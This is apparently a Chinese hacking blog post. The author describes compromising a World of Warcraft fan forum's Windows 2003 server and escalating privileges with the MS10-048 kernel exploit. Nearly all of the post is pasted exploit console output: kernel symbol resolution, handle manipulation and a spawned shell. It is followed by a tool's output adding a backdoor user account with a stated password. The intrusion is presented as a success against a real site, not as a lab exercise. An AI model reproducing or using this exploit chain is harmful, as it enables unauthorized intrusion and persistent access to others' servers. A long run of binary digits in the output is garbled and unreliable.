MS10048依旧是Windows 2003 x86 的杀器

今天搞了个wow的游戏论坛，服务器环境是win03 x86+iis6.0+php+mysql。

提权的时候各种无奈，mysql无权限，而且没root，试了几个别的方法都不行，实在没办法的时候，用MS10048试了下，成功了。

Dojibiron by Ronald Huizer, (c) master#h4cker.us  

[ ] Trying to allocate a page at NULL.
    [+] Allocated page at 0x0000000000000000 for 0x0000000000000001
[ ] Bootstrapping kernel resolver.
    Module ntoskrnl.exe at 0x0000000000BD0000
    Base of driver: 0xFFFFF80001000000
    [+] Success.
[ ] Resolving PsReferencePrimaryToken
    [+] Success: 0xFFFFF8000129FE50
[ ] Resolving PsInitialSystemProcess
    [+] Success: 0xFFFFF800011D1FB0
[ ] Resolving PsLookupProcessByProcessId
    [+] Success: 0xFFFFF80001288BC0
[ ] Resolving PsDereferencePrimaryToken
    [+] Success: 0xFFFFF80001311B40
[+] Handle table retrieval succeeded.
    Userspace handle table: 0x00000000006B0000
    Kernelspace handle table: 0xFFFFF97FF7990000
    Handle table entries: 1024
[ ] Allocating fake HEAD page.
    [+] Allocated page at 0x0000000004000000 for 0x00000000040001FF
[ ] Setting up CBT filter hook.
    [+] Success.
[ ] Creating evil window
    [+] Success.
[ ] Destroyed handle at: 0xFFFFF97FF7990FC0
    pHead:	0xFFFFF97FF906BA00
    pOwner:	0xFFFFFA80000E8D80
    bType:	0x01 - TYPE_WINDOW
    bFlags:	0x00 - 
    wUniq:	0x0004
[ ] Trigger handle at: 0xFFFFF97FF7995AC0
    pHead:	0xFFFFF97FF90900A0
    pOwner:	0xFFFFFA80000E8D80
    bType:	0x01 - TYPE_WINDOW
    bFlags:	0x00 - 
    wUniq:	0x0003
[ ] Writing pool addr to: 0xFFFFF97FF7990F7F

	~ MS10_048 X64 EXP        ~

	Need a girl to love   QQ 65665651 email master#h4cker.us 10010101010100010101010101010101100000110101001010111001010101010101101010101010101011111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
	QQ 65665651 email master#h4cker.us 10010101010100010101010101010101100000110101001010111001010101010101101010101010101011111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
	aster#h4cker.us 10010101010100010101010101010101100000110101001010111001010101010101101010101010101011111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
	01010100010101010101010101100000110101001010111001010101010101101010101010101011111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
	0101010101100000110101001010111001010101010101101010101010101011111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
	1001010101010101101010101010101011111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
	111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
	00000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
	111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
	011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
	0101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
	10101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
	1001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
	11111111110101010101111010101110101010101010101010101010111100000000000110
	110101010101010101010101010111100000000000110
	111100000000000110
	0000110
[ ] Checking the success flag.
    [+] Set to 2 exploit half succeeded
[ ] Destroying trigger window
    pHead:	0x00000000000003CA
    pOwner:	0x0000000000000000
    bType:	0x00 - TYPE_FREE
    bFlags:	0x00 - 
    wUniq:	0x0004
[ ] Spawning half a shell...
    Command: D:RECYCLERadd.exe
[+] Enjoy!
          ==========================================

              Api Add User Made By Cond0r

                    2011.3.20
              Adduser.exe UserName PassWord Group
          ==========================================
	 User List:

	-->  7ksf
	-->  ASPNET
	-->  Guestasdfa
	-->  IUSR_NJXW-12-5-2
	-->  IWAM_NJXW-12-5-2
	-->  SUPPORT_388945a0



	Group List:

	 --> Administrators 
	 --> Backup Operators 
	 --> Distributed COM Users 
	 --> Guests 
	 --> Network Configuration Operators 
	 --> Performance Log Users 
	 --> Performance Monitor Users 
	 --> Power Users 
	 --> Print Operators 
	 --> Remote Desktop Users 
	 --> Replicator 
	 --> Users 
	 --> HelpServicesGroup 
	 --> IIS_WPG 
	 --> TelnetClients 

 SuccessFul !!User "Cond0r" Pass "123!@#asdASD" Add User SuccessFul !!

利用api加用户工具，成功添加cond0r密码为123!@#asdASD的账户